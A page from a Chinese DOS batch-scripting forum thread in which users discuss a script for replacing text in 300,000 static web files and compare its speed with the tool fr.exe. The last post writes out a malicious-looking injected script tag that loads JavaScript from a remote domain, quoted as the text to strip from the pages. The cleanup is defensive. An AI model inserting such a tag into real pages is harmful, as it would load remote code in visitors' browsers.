中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --
联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟
中国DOS联盟论坛
现在时间是 2026-08-12 08:22
47,811 主题排行 / 349,897 发帖 / 今日 0 篇 / 48,256 会员排行
DOS批处理 & 脚本技术(批处理室) » 【出题】30万文件快速替换
可打印版本  3,114 / 21
第16楼 freeants001 发表于 2010-03-04 21:32
中级用户 发帖 244 积分 330 来自 湖北
这样可以了
;)

[ Last edited by freeants001 on 2010-3-4 at 22:45 ]
第17楼 plp626 发表于 2010-03-04 22:22
银牌会员 发帖 1,020 积分 2,278
var fl=fso.opentextfile(fso.GetBaseName(f.path)+".html",2,true);

恐怕不仅仅是将txt改为html这么简单;我不知道获取你代码里那个“f.path”后缀的函数是什么,兄是否可以吧红色的那个html改为它呢?

这些文件大都是htm文件 ,但还有不少html文件(为索引文件)

如果都同一改为html,那么那些本来是htm的文件的链接会失效,在替换的时候,文件名要保持原样。

PS:这30万的网页文件时某个静态网站的所有文件。

[ Last edited by plp626 on 2010-3-4 at 22:26 ]
第18楼 freeants001 发表于 2010-03-04 22:48
中级用户 发帖 244 积分 330 来自 湖北
16楼已修改
第19楼 plp626 发表于 2010-03-04 22:55
银牌会员 发帖 1,020 积分 2,278
我测试了下,16楼的代码只替换test目录里后缀名为html的文件,而htm的文件没有得到替换,这是何故,测试文件用1楼的代码生成
第20楼 freeants001 发表于 2010-03-04 23:01
中级用户 发帖 244 积分 330 来自 湖北
Originally posted by plp626 at 2010-3-4 22:55:
我测试了下,16楼的代码只替换test目录里后缀名为html的文件,而htm的文件没有得到替换,这是何故,测试文件用1楼的代码生成


不会吧,我这里测试可以啊。
第21楼 plp626 发表于 2010-03-04 23:28
银牌会员 发帖 1,020 积分 2,278
16楼的代码正确,是我的原因

试着运行了下,20多万文件替换了8千多文件用时近8分钟(如果总数是1万个文件替换完却用时不到1分钟,不知为何),看来得30*8=240分钟,呀,得4个小时,是当时下载所花时间的一半。

[ Last edited by plp626 on 2010-3-4 at 23:39 ]
第22楼 plp626 发表于 2010-05-20 13:20
银牌会员 发帖 1,020 积分 2,278
我电脑上就有一个这样的三方工具,直接替换的,老早下载的白杨作品集——fr.exe,速度灰常快,测试了下,10分钟左右全部替换完了
fr *.htm* -s -f:"<scr<script language=javascript src=http://mm.aa88567.cn/index/mm.js></script>" -t:""
上一页  1 2
[ 联系联盟系统管理团队 - 中国DOS联盟 - 标准版 ]
Sponsored by ifanr Inc | © 2001–2023